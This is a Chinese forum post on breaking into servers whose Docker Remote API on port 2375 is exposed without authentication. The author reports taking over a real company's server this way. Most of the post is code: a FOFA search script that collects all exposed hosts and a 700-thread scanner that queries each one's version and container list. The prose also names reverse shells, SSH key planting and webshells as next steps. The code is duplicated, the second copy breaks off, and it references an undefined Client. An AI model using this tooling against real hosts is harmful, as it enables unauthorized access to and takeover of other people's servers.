-
-
[原创]docker-remoter-api渗透
-
发表于: 2022-3-27 18:53
-
Docker是一个开源的应用容器引擎，让开发者可以打包他们的应用以及依赖包到一个可移植的容器中，然后发布到任何流行的LINUX机器上，也可以实现虚拟化。 Docker swarm 是一个将docker集群变成单一虚拟的docker host工具，使用标准的Docker API，能够方便docker集群的管理和扩展，由docker官方提供。
Docker Remote API 是一个取代远程命令行界面（rcli）的REST API。Docker Remote API如配置不当可导致未授权访问，攻击者利用 docker client 或者 http 直接请求就可以访问这个 API，可能导致敏感信息泄露，黑客也可以删除Docker上的数据。 攻击者可进一步利用Docker自身特性，直接访问宿主机上的敏感信息，或对敏感文件进行修改，最终完全控制服务器。
第一次挖洞，前天靠这个漏洞拿下了南京某大公司的一台服务器已获得cnvd编号，就写这篇文章记录分享下
本文仅供学习参考，如若保存下载后请在12小时内删除，不然后果自负。不得传播，商用以及利用文中技术进行非法活动，否则后果自负。严禁转载，否则一切后果自负。
<!--more-->
直接fofa搜docker 协议 端口 2375的资产全爬下来 然后用脚本检测
可以发现2375端口开启，并且是不需要授权访问的
前提：靶机服务器需要能执行docker run指令
至此已经可以控制宿主机了，但是关于反弹shell以及写入自己的ssh密钥这个不一定可以直接操作，由于风险原因我不会进行反弹shell和ssh密钥写入，方法如下
如果上面的逃逸办法用不了，服务器上有用docker挂载web服务可以尝试进入容器上webshell变相拿下
#encoding=utf-8import requests
import base64
import sys
email = r'xxx@qq.com'
api_key = r'fofa_api_key'
api = r'https://fofa.info/api/v1/search/all?email={}&key={}&qbase64={}&size=10000'
arg = sys.argv[1]
print(arg)
flag = base64.b64encode(arg.encode()).decode()
response = requests.get(api.format(email,api_key,flag))
results = response.json()["results"]
print("共搜索到{}条记录！".format(len(results)))
file_name = r"{}.txt".format(arg)
f = open(file_name,"a")
for addr in results:
f.write(addr[0]+'\n')
f.close()#encoding=utf-8import requests
import base64
import sys
email = r'xxx@qq.com'
api_key = r'fofa_api_key'
api = r'https://fofa.info/api/v1/search/all?email={}&key={}&qbase64={}&size=10000'
arg = sys.argv[1]
print(arg)
flag = base64.b64encode(arg.encode()).decode()
response = requests.get(api.format(email,api_key,flag))
results = response.json()["results"]
print("共搜索到{}条记录！".format(len(results)))
file_name = r"{}.txt".format(arg)
f = open(file_name,"a")
for addr in results:
f.write(addr[0]+'\n')
f.close()# python3# by 5wimmingimport queue
import threading
import time
import requests
import json
import docker
thread_lock = threading.Lock()
out_result = [] # 输出列表
multi = 700 # 线程数量
queueSize = 800 # 申请队列空间大小,值一般略大于multi的值
input_file_path = "./port=2375.txt" # 输入文件路径，每个ip一行
output_file_path = './result.txt' #输出文件路径
ports = ['2375'] # 扫描端口
wait_time = 5 # 文件线程准备时间(s)，默认1s，若需要读取的文件大小大于10M可增加至5s以上，文件越大设置的时间理论上越长
def read_file():
with open(input_file_path, 'r') as fp:
file_data = fp.readlines()
data_list = file_data
data_length = len(data_list)
flag_xy = 0
while flag_xy != data_length:
while (not workQueue.full()) and (flag_xy != data_length):
workQueue.put(data_list[flag_xy])
flag_xy += 1
continue
print("文件内容放入队列完成")
def multi_start_main():
while not workQueue.empty():
file_line_api = workQueue.get()
custom_def(file_line_api)
def http_get(url):
response = requests.get(url)
return response.text
def get_version(host, port):
url = "http://"+host+":"+port+"/version"
ret = json.loads(http_get(url))
client_api_version = ret['ApiVersion']
return client_api_version
def get_container(host, port, docker_version):
cli = Client(base_url='tcp://'+host+':'+port, version=docker_version)
return cli
def custom_def(file_line_api):
ip = file_line_api.strip()
result = ''
for port in ports:
try:
docker_version = get_version(ip, port)
result = ip + '\t' + port + '\tversion:' + docker_version
docker_containers = get_container(ip, port, docker_version)
result += '\t' + str(docker_containers.containers(all=True))
except Exception as e:
print(ip, e)
if result:
print('success:', result)
with thread_lock:
out_result.append(result)
break
if __name__ == '__main__':
threads = []
workQueue = queue.Queue(queueSize)
fileThread = threading.Thread(target=read_file)
fileThread.start()
print("文件读取线程准备时间%ss" % wait_time)
time.sleep(wait_time)
for i in range(multi+1):
thread = threading.Thread(target=multi_start_main)
thread.start()
threads.append(thread)
for t in threads:
t.join()
fileThread.join()
with open(output_file_path, 'w') as fw:
fw.writelines(out_result)
print("主线程结束，任务完成")
# python3# by 5wimmingimport queue
import threading
import time
import requests
import json
import docker
thread_lock = threading.Lock()
out_result = [] # 输出列表
multi = 700 # 线程数量
queueSize = 800 # 申请队列空间大小,值一般略大于multi的值
input_file_path = "./port=2375.txt" # 输入文件路径，每个ip一行
output_file_path = './result.txt' #输出文件路径
ports = ['2375'] # 扫描端口
wait_time = 5 # 文件线程准备时间(s)，默认1s，若需要读取的文件大小大于10M可增加至5s以上，文件越大设置的时间理论上越长
def read_file():
with open(input_file_path, 'r') as fp:
file_data = fp.readlines()
data_list = file_data
data_length = len(data_list)
flag_xy = 0
while flag_xy != data_length:
while (not workQueue.full()) and (flag_xy != data_length):
workQueue.put(data_list[flag_xy])
flag_xy += 1
continue
print("文件内容放入队列完成")
def multi_start_main():
while not workQueue.empty():
file_line_api = workQueue.get()
custom_def(file_line_api)
def http_get(url):
response = requests.get(url)
return response.text
[培训]内核驱动高级班，冲击BAT一流互联网大厂工作，每周日13:00-18:00直播授课
最后于 2022-3-27 18:53
被H.R.P编辑
，原因：
|
|
|---|---|
